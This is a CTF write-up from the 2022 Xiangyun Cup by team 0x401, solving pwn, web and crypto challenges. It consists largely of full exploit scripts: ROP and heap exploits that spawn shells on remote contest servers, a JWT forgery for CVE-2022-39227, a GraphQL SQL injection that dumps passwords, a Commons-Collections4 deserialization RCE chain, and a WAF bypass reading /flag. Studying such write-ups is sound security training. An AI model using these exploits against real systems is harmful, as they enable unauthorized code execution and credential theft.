2022祥云杯WP出炉

admin 2022年11月4日14:38:05CTF专场评论56 views65970字阅读219分54秒阅读模式

本文由0x401战队提供

战队官网www.0x401.com

Pwn

protocol

google protocol pwn,第五空间决赛出过一道。

用github上的开源项目pbtk对协议进行逆向,

用命令:

1./extractors/from_binary.py ./protocol

可以弄出ctf.proto:

2022祥云杯WP出炉
图片

同时用命令生成ctf_pb.py,脚本可以自动序列化生成能够解析的protocol数据。

1protoc --python_out=. ./ctf.proto

然后引用进去,就可以直接开打。
分析程序逻辑知道账户和密码都是admin的时候可以登录成功。

同时查看程序没有开启pie和canary,盲猜有栈溢出,且是静态链接程序,有很多gadget。

然后尝试了一下在username和password 0x1000大小中均存在溢出,但是由于strcpy有零截断,因此我们得从后往前写rop链。

调用orw rop链即可:

 1from email import message
2from pwn import *
3import ctf_pb2 as ctf_message
4context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
5context.log_level = 'debug'
6# r = process('/mnt/hgfs/ubuntu/xyb/protocol/protocol')
7r = remote('101.201.71.136',15953)
8syscall_ret = 0x000000000068f0a4
9pop_rax = 0x00000000005bdb8a
10pop_rdi = 0x0000000000404982
11pop_rsi = 0x0000000000588bbe
12pop_rdx = 0x000000000040454f
13def call_vuln(rax,rdi,rsi,rdx):
14return p64(pop_rdi)+p64(rdi)+p64(pop_rsi)+p64(rsi)+p64(pop_rdx)+p64(rdx)+p64(pop_rax)+p64(rax)+p64(syscall_ret)
15def login_fail(thing):
16message = ctf_message.pwn()
17message.username=b'admin'+b'a'*(323)+thing
18message.password=b'admin'
19payload = message.SerializeToString()
20r.recvuntil(b"Login: ")
21r.send(payload)
22def login_success():
23message = ctf_message.pwn()
24message.username=b'admin'
25message.password=b'admin'
26payload = message.SerializeToString()
27r.recvuntil(b"Login: ")
28r.send(payload)
29rop_chain = call_vuln(0,0,0x81b000,0x20)+call_vuln(59,0x81b000,0,0)
30print(hex(len(rop_chain)))
31# for i in range():
32login_fail(b'a'*0x88+p64(syscall_ret)[:3])
33[login_fail(b'a'*(0x87-i)) for i in range(7)]
34login_fail(b'a'*0x80+b'x3b')
35[login_fail(b'a'*(0x7f-i)) for i in range(5)]
36login_fail(b'a'*0x78+p64(pop_rax)[:3])
37[login_fail(b'a'*(0x77-i)) for i in range(8+5)]
38login_fail(b'a'*0x68+p64(pop_rdx)[:3])
39[login_fail(b'a'*(0x67-i)) for i in range(8+5)]
40login_fail(b'a'*0x58+p64(pop_rsi)[:3])
41[login_fail(b'a'*(0x57-i)) for i in range(5)]
42login_fail(b'a'*0x51+b'xb0x81')
43login_fail(b'a'*0x50)
44[login_fail(b'a'*(0x50-i)) for i in range(5)]
45login_fail(b'a'*0x48+p64(pop_rdi)[:3])
46#call execve
47[login_fail(b'a'*(0x47-i)) for i in range(5)]
48login_fail(b'a'*0x40+p64(syscall_ret)[:3])
49[login_fail(b'a'*(0x3f-i)) for i in range(8+5)]
50login_fail(b'a'*0x30+p64(pop_rax)[:3])
51[login_fail(b'a'*(0x2f-i)) for i in range(6)]
52login_fail(b'a'*0x28+b'x20')
53[login_fail(b'a'*(0x27-i)) for i in range(8+5)]
54login_fail(b'a'*0x20+p64(pop_rdx)[:3])
55[login_fail(b'a'*(0x1f-i)) for i in range(5)]
56login_fail(b'a'*0x19+b'xb0x81')
57login_fail(b'a'*0x18)
58[login_fail(b'a'*(0x17-i)) for i in range(5)]
59login_fail(b'a'*0x10+p64(pop_rsi)[:3])
60[login_fail(b'a'*(0xf-i)) for i in range(5+8)]
61login_fail(p64(pop_rdi)[:3])
62# login_fail(p64(0xdeadbeefdeadbe)[:6]+b'g')
63# gdb.attach(r)
64login_success()
65pause()
66r.send(b'/bin/shx00')
67r.interactive()

sandboxheap

off by one,然后edit里是输入 0 1字符串来写入数据。

没什么好说的,沙盒通过0x2710,syscall绕过就行。

五点半本地和docker就被我打烂了,兴冲冲地去找队友要远程抢一血,死活不通。

第一个问题是:远程发送的数据太多了,会丢失。

因此我:

①推翻所有exp,将heap size缩小,避免发送过多数据。

②由于最后的rop链太长,因此我先调用了一个新的read,然后可以直接读p64数据,这样就不会出问题了。

 1from pwn import *
2context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
3context.log_level = 'debug'
4# r = process(['/mnt/hgfs/ubuntu/xyb/sandboxheap/sandbox','/mnt/hgfs/ubuntu/xyb/sandboxheap/sandboxheap'])
5r = remote('39.106.13.71',29365)
6# r = process('/mnt/hgfs/ubuntu/xyb/sandboxheap/sandboxheap')
7libc = ELF('/mnt/hgfs/ubuntu/xyb/sandboxheap2/libc-2.27.so')
8def menu(choice):
9r.recvuntil(b"Your choice: ")
10r.sendline(str(choice))
11def add(idx,size):
12menu(1)
13r.recvuntil(b"Index: ")
14r.sendline(str(idx))
15r.recvuntil(b"Size: ")
16r.sendline(str(size))
17def edit(idx,content):
18menu(2)
19r.recvuntil(b"Index: ")
20r.sendline(str(idx))
21r.recvuntil(b"Content: ")
22r.send(content)
23def show(idx):
24menu(3)
25r.recvuntil(b"Index: ")
26r.sendline(str(idx))
27def delete(idx):
28menu(4)
29r.recvuntil(b"Index: ")
30r.sendline(str(idx))
31def go(addr):
32payload=b''
33for i in range(64):
34if(addr&0x1)==0:
35payload+=b'a'
36else:
37payload+=b'1'
38addr=addr>>1
39return payload
40[add(i,0x88) for i in range(0xb)]
41[delete(i) for i in range(1,8)]
42delete(0)
43payload = b'a'*(0x88*8-0x40)+go(0x510)
44payload = payload.ljust(0x88*8,b'a')
45edit(8,b'1'*(0x88*8)+b'a')
46edit(8,payload)
47delete(9)
48[add(i,0x88) for i in range(1,8)]
49add(0,0x88)
50show(0)
51libc_base = u64(r.recvuntil(b'x7f')[-6:].ljust(8,b''))-0x3ec0f0
52delete(4)
53delete(5)
54delete(6)
55add(0xc,0x100)
56free_hook = libc_base+libc.sym["__free_hook"]
57edit(0xc,b'1'*(0x90*8)+go(free_hook))
58add(0xd,0x88)
59add(0xe,0x88)
60setcontext_addr = libc_base+libc.sym["setcontext"]+53
61edit(0xe,go(setcontext_addr))
62show(3)
63r.recvuntil(b"Content: ")
64heap_base = u64(r.recv(6).ljust(8,b''))-0x4a0
65pop_rdi = libc_base+0x000000000002164f
66pop_rsi = libc_base+0x0000000000023a6a
67pop_rax = libc_base+0x000000000001b500
68syscall_ret = libc_base+0x00000000000d2625
69pop_rdx = libc_base+0x0000000000001b96
70# # 0x40000000
71rop_addr = heap_base+0x410
72add(0xf,0x200)
73edit(8,go(0)*2+go(rop_addr)+go(pop_rdi+1))
74rop_chain=b'./flagx00x00'*2+p64(pop_rdi)+p64(3)+p64(pop_rax)+p64(0x2710)+p64(syscall_ret)
75rop_chain+=p64(pop_rdi)+p64(0)+p64(pop_rax)+p64(3)+p64(syscall_ret)
76rop_chain+=p64(pop_rdi)+p64(rop_addr+0x28)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(pop_rdi)+p64(0)
77rop_chain+=p64(pop_rsi)+p64(heap_base)+p64(pop_rdx)+wu(0x8*5)+go(pop_rdx)+go(0x200)+go(pop_rax)+go(0x40000000)+go(syscall_ret)
78edit(0xf,call_read)
79# gdb.attach(r,'b *'+str(pop_rdi+1))
80delete(1)
81pause()
82r.sendline(rop_chain)
83# gdb.attach(r)
84log.success("heap_base: "+hex(heap_base))
85log.success("libc_base: "+hex(libc_base))
86r.interactive()

unexp

麻了,单线程2min爆破出来,阳寿做题拿了一血。

还在想预期解呢,看了看libc 0x20000-0x30000偏移都可以爆破,1/16概率,可以调用到write,泄露libc,elf地址,但是无法重回。

用vsyscall当ret指令,然后直接爆破libc_start_mainogg即可。

exp:

 1from pickle import TRUE
2from pwn import *
3context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
4context.log_level = 'debug'
5# r = process('/mnt/hgfs/ubuntu/xyb/unexploitable/unexploitable')
6def pwn():
7payload = b'a'*0x18+p64(0xffffffffff600000)*2+b'x02x23xcb'
8r.send(payload)
9sleep(0.5)
10r.sendline(b'cat flag')
11data=r.recvuntil(b"flag",timeout=0.1)
12if b'flag' in data:
13r.interactive()
14else:
15r.close()
16while TRUE:
17r = remote('101.201.71.136',18141)
18# try:
19pwn()
20# except EOFError:
21# r.close()
22# continue

bitheap

先放加强版再放减弱版是啥意思。

直接用sandboxheap打都行,我重新改了一份exp。

没开沙盒的sandboxheap。

exp:

 1from pwn import *
2context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
3context.log_level = 'debug'
4r = remote('39.106.13.71',27653)
5# r = process('/mnt/hgfs/ubuntu/xyb/bitheap/bitheap')
6libc = ELF('/mnt/hgfs/ubuntu/xyb/bitheap/libc-2.27.so')
7def add(idx,size):
8r.recvuntil(b"Your choice: ")
9r.sendline(b'1')
10r.recvuntil(b"Index: ")
11r.sendline(str(idx))
12r.recvuntil(b"Size: ")
13r.sendline(str(size))
14def edit(idx,content):
15r.recvuntil(b"Your choice: ")
16r.sendline(b"2")
17r.recvuntil(b"Index: ")
18r.sendline(str(idx))
19r.recvuntil("Content: ")
20r.send(content)
21def show(idx):
22r.recvuntil(b"Your choice: ")
23r.sendline(b'3')
24r.recvuntil(b"Index: ")
25r.sendline(str(idx))
26def delete(idx):
27r.recvuntil(b"Your choice: ")
28r.sendline(b'4')
29r.recvuntil(b"Index: ")
30r.sendline(str(idx))
31def go(addr):
32bit=b''
33for i in range(64):
34if(addr&0x1)==0:
35payload+=b'a'
36else:
37payload+=b'1'
38addr=addr>>1
39return payload
40[add(i,0x88) for i in range(0xb)]
41[delete(i) for i in range(1,8)]
42delete(0)
43payload = b'a'*(0x88*8-0x40)+go(0x510)
44payload = payload.ljust(0x88*8,b'a')
45edit(8,b'1'*(0x88*8)+b'a')
46edit(8,payload)
47delete(9)
48[add(i,0x88) for i in range(1,8)]
49add(0,0x88)
50show(0)
51libc_base = u64(r.recvuntil(b'x7f')[-6:].ljust(8,b''))-0x3ec0f0
52delete(4)
53delete(5)
54delete(6)
55add(0xc,0x100)
56free_hook = libc_base+libc.sym["__free_hook"]
57edit(0xc,b'1'*(0x90*8)+go(free_hook))
58add(0xd,0x88)
59add(0xe,0x88)
60ogg = libc_base+libc.sym["system"]
61edit(0xe,go(ogg))
62# gdb.attach(r)
63edit(1,go(u64(b'/bin/shx00')))
64delete(1)
65log.success("libc_base: "+hex(libc_base))
66r.interactive()

leak

试了试时间侧信道,稳定性有点不高。

没有io函数,不然可以直接io leak然后写__free_hook为puts地址,然后UAF弄一个堆块指针到flag,然后调用free,show出flag。

类似于VNCTF的hide on heap。

先写global_fast_max为一个大值,然后free掉相应大小的fastbin,让其堆块指针去覆盖stderr中的io_write_baseio_write_ptrio_write_end

需要注意以下几个点:

  • free比较大的那个chunk,让其地址去覆盖io_write_base时,chunk地址要挨着flag堆块地址,这样后续才能将低字节覆盖为x00后直接泄露,避免爆破。

需要两次tcache任意地址写,一次写global_fast_max,一次写的_IO_2_1_stderr_,部分写其flag和io_read_baseio_read_ptrio_read_endio_write_base低字节,将其弄成heap基址。

我的方法比较蠢,先通过一个tcache任意写,改掉一个tcache的size头,free掉之后成为一个unsortedbin。

然后用两个空闲tcache进行两次tcache任意地址写。

这样idx差两个。

因此我堆风水free了一个fake_hunk,同时又构造了另一个fake_chunk,这样极限省下了两个idx,具体操作不说了有点智障。

后续发现可以直接申请unsortedbin大小,然后将tcache fd指向unsortedbin,这样只用多申请两次就能申请到unsortedbin指向的fd。

非常省idx。

exp:

 1from pwn import *
2from pickle import TRUE
3context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
4context.log_level = 'debug'
5def menu(choice):
6r.recvuntil(b"Your choice: ")
7r.sendline(str(choice))
8def add(idx,size):
9menu(1)
10r.recvuntil(b"Index: ")
11r.sendline(str(idx))
12r.recvuntil(b"Size: ")
13r.sendline(str(size))
14def edit(idx,content):
15menu(2)
16r.recvuntil(b"Index: ",timeout=0.2)
17r.sendline(str(idx))
18r.recvuntil(b"Content: ")
19r.send(content)
20def delete(idx):
21menu(3)
22r.recvuntil(b"Index: ")
23r.sendline(str(idx))
24def AES(idx1,idx2):
25menu(4)
26r.recvuntil(b"Text index: ")
27r.sendline(str(idx1))
28r.recvuntil(b"Passwd index: ")
29r.sendline(str(idx2))
30timelist=[]
31# def char_time(idx1,idx2):
32# AES(idx1,idx2)
33# time_start = time()
34# for i in range(0x10)
35# start = time1
36# r.recvuntil(b"Done")
37# time2 = time.time()
38# timelist.append(time2-strat)
39def pwn():
40add(0x0,0x14b0)
41add(0x1,0x14c0)
42add(0x2,0x14d0)
43add(4,0x80)
44edit(4,b'a'*0x10+p64(0)+p64(0x511))
45add(5,0x80)
46edit(5,b'a'*0x20+p64(0)+p64(0x61))
47add(6,0x400)
48add(7,0x500)
49delete(4)
50delete(5)
51edit(5,b'x30')
52add(8,0x80)
53add(9,0x80)
54edit(9,b'a'*0x60+p64(0)+p64(0x31))
55delete(9)
56delete(5)
57delete(6)
58add(0xa,0x60)
59add(0xb,(0x80))
60edit(9,b'a'*0x60+p64(0)+p64(0x31)+p16(0xf940))
61edit(6,p16(0xe680))
62add(0xc,0x20)
63add(0xd,0x20)
64edit(0xd,p64(0x60000))
65add(0xe,0x400)
66add(0xf,0x400)
67delete(0x0)
68delete(0x1)
69delete(0x2)
70edit(0xf,p64(0xfbad1887)+p64(0)*3+b'x00')
71menu(6)
72data=r.recvuntil(b"lag{",timeout=0.1)
73if b'lag{' in data:
74r.interactive()
75else:
76r.close()
77while TRUE:
78# r = process('/mnt/hgfs/ubuntu/xyb/leak/leak')
79r = remote('39.106.13.71',28153)
80try:
81pwn()
82except EOFError:
83r.close()

Web

challenge | FunWEB

CVE-2022-39227,通过官方patch伪造JWT

https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py

 1from json import loads, dumps
2
3from jwcrypto.common import base64url_decode, base64url_encode, json_decode
4
5""" Use mix of JSON and compact format to insert forged claims including long expiration """
6payload = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcwNDQwMjYsImlhdCI6MTY2NzA0MzcyNiwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiIyQTBMN3UzSmtoTmVMbFZIM3YwcV93IiwibmJmIjoxNjY3MDQzNzI2LCJwYXNzd29yZCI6ImFhYSIsInVzZXJuYW1lIjoiYWFhIn0.SxjPmMWoDJ0DgT8wdubJ9_HcFrVnaAPRdvWFJzPKds1UHzORkqBeKKMbh7pQBv93AVPpsu0-40f5IKp1RXo5lbW79nAFFh4z2v5U3PNOVCq0z3CAyFxnY8MtJ_4hKLjWGh3QJsosgwbMQI5PVsuqaaY8dy7lbApL1ZZmLhlSTAJffC_8R0tSHb_oKwZoCxtOy9AP7emNF0OFCEYlHQESSFBvoTJW4igBsWDPYXARICYmxio4gE_7RtW1a1j5xOJlCWWepwbObepNEhkFKv0gzd9D9zCdXvAoBNnXqRzT0lMDq8U54UAZYcYZXdxw1rFwWP61Cboco6BT3lip_SrCHw'
7[header, payload, signature] = payload.split('.')
8parsed_payload = loads(base64url_decode(payload))
9parsed_payload['is_admin'] = 1
10parsed_payload['username'] = 'admin'
11parsed_payload['exp'] = 2000000000
12
13fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
14test = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
15print(test)

之后graphql注入,得到密码

1query={
2getscoreusingnamehahaha(name:"admin ' union select group_concat(password) from users-- -" ) {
3name
4score
5}
6}

再次运行脚本,伪造替换jwt即可

challenge | ezjava

 1import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
2import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
3import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
4import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5
6import javassist.*;
7import org.apache.commons.collections4.Transformer;
8import org.apache.commons.collections4.functors.ChainedTransformer;
9import org.apache.commons.collections4.functors.ConstantTransformer;
10import org.apache.commons.collections4.functors.InstantiateTransformer;
11import org.apache.commons.collections4.comparators.TransformingComparator;
12import javax.xml.transform.Templates;
13import java.io.*;
14import java.lang.reflect.Field;
15import java.nio.file.Files;
16import java.nio.file.Paths;
17import java.util.Base64;
18import java.util.PriorityQueue;
19
20public class CommonCollections4 {
21public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
22Field field = obj.getClass().getDeclaredField(fieldName);
23field.setAccessible(true);
24field.set(obj, value);
25}
26public static byte[] serialize(Object o) throws Exception{
27try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
28ObjectOutputStream oout = new ObjectOutputStream(baout)){
29oout.writeObject(o);
30return baout.toByteArray();
31}
32}
33public static void main(String[] args) throws Exception {
34
35byte[] code = Files.readAllBytes(Paths.get("D:\javacc\SpringEvil.class"));
36byte[][] bytecodes = {code};
37
38TemplatesImpl obj = new TemplatesImpl();
39setFieldValue(obj, "_bytecodes", bytecodes);
40setFieldValue(obj, "_name", "HelloTemplatesImpl");
41setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
42
43/**
44* TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
45*/
46ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
47new ConstantTransformer(TrAXFilter.class),
48new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
49});
50
51TransformingComparator comparator = new TransformingComparator(chain);
52PriorityQueue queue = new PriorityQueue(2,comparator);
53
54Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
55size.setAccessible(true);
56size.set(queue,2);
57
58Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
59comparator_field.setAccessible(true);
60comparator_field.set(queue,comparator);
61
62// ==================
63// 生成序列化字符串
64byte[] aaa = serialize(queue);
65System.out.println(Base64.getEncoder().encodeToString(aaa));
66}
67}

利用cc4,spring通用回显马即可
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java

需要注意的是恶意类要继承AbstractTranslet

之后发包,header写入命令即可

challenge | RustWaf

 1const express = require('express');
2const app = express();
3const bodyParser = require("body-parser")
4const fs = require("fs")
5app.use(bodyParser.text({type: '*/*'}));
6const { execFileSync } = require('child_process');
7
8app.post('/readfile', function (req, res) {
9let body = req.body.toString();
10let file_to_read = "app.js";
11const file = execFileSync('/app/rust-waf', [body], {
12encoding: 'utf-8'
13}).trim();
14try {
15file_to_read = JSON.parse(file)
16} catch (e){
17file_to_read = file
18}
19let data = fs.readFileSync(file_to_read);
20res.send(data.toString());
21});
22
23app.get('/', function (req, res) {
24res.send('see `/src`');
25});
26
27
28
29app.get('/src', function (req, res) {
30var data = fs.readFileSync('app.js');
31res.send(data.toString());
32});
33
34app.listen(3000, function () {
35console.log('start listening on port 3000');
36});

读/flag显示waf

 1use std::env;
2use serde::{Deserialize, Serialize};
3use serde_json::Value;
4
5static BLACK_PROPERTY: &str = "protocol";
6
7#[derive(Debug, Serialize, Deserialize)]
8struct File{
9#[serde(default = "default_protocol")]
10pub protocol: String,
11pub href: String,
12pub origin: String,
13pub pathname: String,
14pub hostname:String
15}
16
17pub fn default_protocol() -> String {
18"http".to_string()
19}
20//protocol is default value,can't be customized
21pub fn waf(body: &str) -> String {
22if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
23return String::from("./main.rs");
24}
25if let Ok(json_body) = serde_json::from_str::<Value>(body) {
26if let Some(json_body_obj) = json_body.as_object() {
27if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
28return String::from("./main.rs");
29}
30}
31//not contains protocol,check if struct is File
32if let Ok(file) = serde_json::from_str::<File>(body) {
33return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
34}
35} else{
36//body not json
37return String::from(body);
38}
39return String::from("./main.rs");
40}
41
42fn main() {
43let args: Vec<String> = env::args().collect();
44println!("{}", waf(&args[1]));
45}

读文件绕过(readFileSync底层)

1{"href":"a","origin":"b","protocol":"file:","pathname":"/fl%61g","hostname":""}

需要绕过协议过滤,这里通过json_body_obj.keys().any(|key| key == BLACK_PROPERTY)检查,
参考文章:https://github.com/serde-rs/serde/issues/1587

构造即可

1curl http://eci-2ze5kojns1yqhwjd6c28.cloudeci1.ichunqiu.com:3000/readfile -v --data '["file:","a","b","/fl%61g",""]' -H "Content-Type: application/json"

Crypto

tracing

大概的逻辑就是从日志逆推出phi

从最后这里return a可以看出s一直是0

2022祥云杯WP出炉
图片

,所以只有三种情况,分别判定然后逆就行了

 1from Crypto.Util.number import long_to_bytes, inverse
2
3def if_exc(ct):
4for i in ct:
5if 'a, b = b, a' in i:
6return True
7else:
8continue
9return False
10
11def isOdd(a):
12return a & 1 == 1
13
14f = open('trace.out', 'r')
15a = f.read().split('n')
16l = len(a)
17phi = 1
18e = 0
19
20for i in range(l-1, 0, -1):
21if 'task.py(6): while b != 0:' == a[i]:
22idx = i
23ct = a[idx: idx+13]
24if if_exc(ct):
25phi, e = e, phi
26
27if 'task.py(9): a = a - b' in ct and "task.py(10): a = rshift1(a)" in ct:
28phi = 2 * phi + e
29if isOdd(phi):
30continue
31
32else:
33phi = phi + 1
34continue
35
36elif "task.py(14): b = rshift1(b)" in ct:
37e *= 2
38continue
39
40elif "task.py(19): a = rshift1(a)" in ct:
41phi *= 2
42continue
43
44else:
45continue
46
47c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
48n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
49d = inverse(e, phi)
50print(phi)
51print(long_to_bytes(pow(c, d, n)))

fill

背包+lcg套娃

 1from Crypto.Util.number import inverse
2from hashlib import sha256
3
4S = 492226042629702
5nbits = 32
6n = 991125622
7s0, s1, s2 = 562734112, 859151551, 741682801
8m = (s2 - s1) * inverse(s1 - s0, n) % n
9c = (s2 - m * s1) % n
10s = [0] * nbits
11s[0] = s0
12for i in range(1, nbits):
13s[i] = (s[i-1]*m+c)%n
14# print(s)
15M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]
16for t in range(nbits):
17M[t] = M[t] - s[t]
18A = Matrix(ZZ,nbits+1,nbits+1)
19# fill in the identity matrix
20for i in range(nbits):
21A[i,i] = 1
22# replace the bottom row with your public key
23for i in range(nbits):
24A[i,nbits] = M[i]
25# last element is the encoded message
26A[nbits,nbits] = -int(S)
27res = A.LLL()
28print(res[-1][:-1]) #need to remove last element 0
29msg = ''
30for i in range(nbits):
31msg += str(res[-1][:-1][i])
32msg = int(msg, 2)
33print(msg)
34print('flag{' + sha256(str(msg).encode()).hexdigest() + '}')

little little fermat

高位相同,开根取高位,然后copper就分解,求阶那里直接用order

 1import gmpy2
2from Crypto.Util.number import long_to_bytes, isPrime
3n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393
4c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883
5
6p_high = 1722441419253596810002937511265334240319736590159222908199095871448693784787182036443
7PR.<z> = PolynomialRing(Zmod(n))
8f = z + p_high*2^(512-280)
9z0 = f.small_roots(X=2^(512-280), beta=0.4)
10p_q = []
11for z in z0:
12p = int(z + p_high*2^(512-280))
13if isPrime(p):
14p_q.append(p)
15p = max(p_q)
16q = n // p
17phi = (p - 1) * (q - 1)
18d = inverse_mod(65537, phi)
19m = pow(c, d, n)
20G=GF(p)
21x = G(114514).order() - 1
22x = x^2
23print(long_to_byets(m^^x))

leak_rsa

总的逻辑是先用d的高位去爆破32位的k,再用k去爆破pqd,第一步的代码直接参考github上的https://github.com/jvdsn/crypto-attacks/blob/5c7989ceac599f1f8e016b5afb0d2966759cd470/test/test_factorization.py#L46,但是因为是32bit要用多进程才跑的出:

 1import time
2from multiprocessing import Pool
3
4def get_params_prob():
5n = 73380160475470842653695210816683702314062827937540324056880543809752271506601290265975543542548117392788987830919581511428492717214125296973338501980504384307279414528799452106399062576988406269897425829853390463840834798274139351938197666753546672052277640048588091137812362810008344723302886421059831149393
6e = 3116872133
7c = 69574121902821459446683688068339366486115223765903849266663001038736496551168104587683366853482649748413400537793260948337629422998336301256862519087984048032673577462034223842650399943613576577927825123830629917138007035313624847266208032195071033675853881447717750353382112841885318776240405314057286867952
8hint1 = {120: '0', 401: '0', 58: '1', 420: '0', 192: '1', 164: '0', 100: '0', 425: '1', 227: '0', 497: '0', 284: '0', 110: '1', 257: '0', 31: '1', 68: '0', 2: '1', 206: '0', 174: '1', 326: '0', 320: '0', 498: '1', 50: '1', 7: '0', 128: '1', 54: '1', 15: '1', 222: '0', 166: '1', 496: '1', 151: '1', 317: '0', 449: '1', 181: '1', 288: '1', 311: '1', 80: '1', 69: '1', 410: '1', 127: '1', 308: '1', 39: '0', 435: '0', 258: '0', 235: '1', 94: '1', 93: '1', 412: '0', 427: '0', 352: '1', 123: '0', 25: '0', 316: '1', 3: '0', 88: '1', 390: '0', 72: '1', 450: '1', 397: '0', 309: '1', 487: '1', 207: '0', 234: '0', 144: '1', 229: '1', 48: '1', 506: '0', 253: '1', 86: '0', 384: '0', 428: '0', 359: '1', 104: '0', 339: '0', 142: '0', 452: '1', 480: '0', 224: '1', 310: '1', 98: '1', 508: '0', 133: '0', 90: '1', 170: '0', 146: '0', 101: '1', 416: '1', 460: '1', 387: '0', 67: '0', 285: '0', 213: '1', 162: '1', 14: '0', 485: '1', 413: '1', 312: '1', 458: '0', 75: '0', 242: '1', 177: '1', 30: '1', 501: '0', 434: '1', 456: '0', 264: '0', 407: '0', 135: '1', 84: '0', 476: '0', 471: '1', 430: '1', 191: '0', 176: '0', 29: '1', 156: '0', 26: '0', 322: '1', 388: '1', 364: '1', 321: '1', 351: '0', 230: '1', 345: '0', 432: '1', 36: '0', 296: '1', 79: '0', 23: '0', 290: '1', 117: '0', 507: '1', 421: '0', 274: '0', 6: '1', 327: '1', 204: '1', 383: '0', 305: '1', 113: '0', 334: '0', 85: '1', 511: '1', 464: '1', 491: '0', 370: '0', 92: '0', 495: '0', 279: '1', 346: '1', 16: '1', 44: '1', 24: '0', 466: '1', 87: '0', 243: '0', 461: '0', 379: '0', 256: '0', 473: '1', 17: '0', 276: '1', 147: '1', 187: '0', 112: '1', 218: '1', 78: '1', 411: '1', 343: '0', 10: '1', 271: '1', 378: '0', 492: '0', 269: '1', 291: '0', 289: '0', 132: '1', 9: '1', 408: '0', 398: '1', 468: '1', 124: '1', 236: '0', 377: '1', 83: '0'}
9hint2 = {125: '0', 86: '1', 8: '0', 498: '1', 311: '0', 93: '0', 385: '0', 315: '1', 300: '1', 454: '0', 152: '0', 205: '0', 400: '1', 348: '1', 18: '1', 154: '0', 51: '1', 435: '0', 25: '1', 430: '0', 72: '1', 136: '0', 294: '0', 466: '0', 388: '0', 428: '0', 440: '1', 250: '1', 506: '0', 48: '0', 270: '1', 318: '0', 107: '0', 327: '1', 474: '0', 325: '0', 281: '0', 392: '0', 473: '1', 13: '1', 90: '0', 278: '0', 425: '0', 109: '1', 423: '1', 412: '1', 190: '1', 171: '0', 475: '1', 441: '1', 336: '0', 371: '0', 323: '0', 22: '1', 469: '0', 451: '0', 438: '0', 203: '1', 121: '0', 52: '1', 494: '1', 399: '0', 314: '0', 24: '1', 183: '0', 492: '1', 246: '1', 108: '1', 379: '0', 460: '1', 56: '0', 372: '1', 313: '1', 44: '0', 237: '1', 12: '0', 6: '0', 204: '1', 80: '1', 339: '1', 296: '0', 483: '0', 402: '0', 67: '0', 338: '1', 116: '0', 406: '1', 218: '0', 115: '0', 301: '0', 490: '1', 502: '0', 343: '1', 46: '1', 321: '0', 231: '1', 88: '0', 404: '1', 426: '0', 344: '0', 123: '1', 463: '0', 45: '1', 461: '1', 1: '0', 229: '0', 28: '1', 274: '1', 134: '1', 104: '1', 21: '0', 256: '0', 471: '1', 157: '0', 217: '1', 158: '0', 307: '1', 26: '0', 255: '0', 386: '1', 373: '0', 114: '1', 360: '0', 148: '1', 383: '1', 63: '0', 19: '1', 472: '0', 201: '1', 262: '1', 47: '0', 221: '0', 310: '0', 352: '1', 224: '1', 185: '0', 214: '1', 285: '1', 410: '0', 455: '0', 445: '0', 464: '0', 284: '1', 503: '1', 298: '1', 449: '0', 477: '0', 376: '0', 16: '0', 133: '0', 177: '1', 210: '0', 364: '1', 163: '1', 213: '1', 295: '1', 111: '1', 458: '0', 146: '0', 244: '0', 261: '1', 508: '1', 106: '0', 112: '1', 120: '0', 156: '1', 303: '0', 259: '1', 35: '0', 444: '0', 215: '1', 304: '0', 140: '0', 351: '0', 443: '0'}
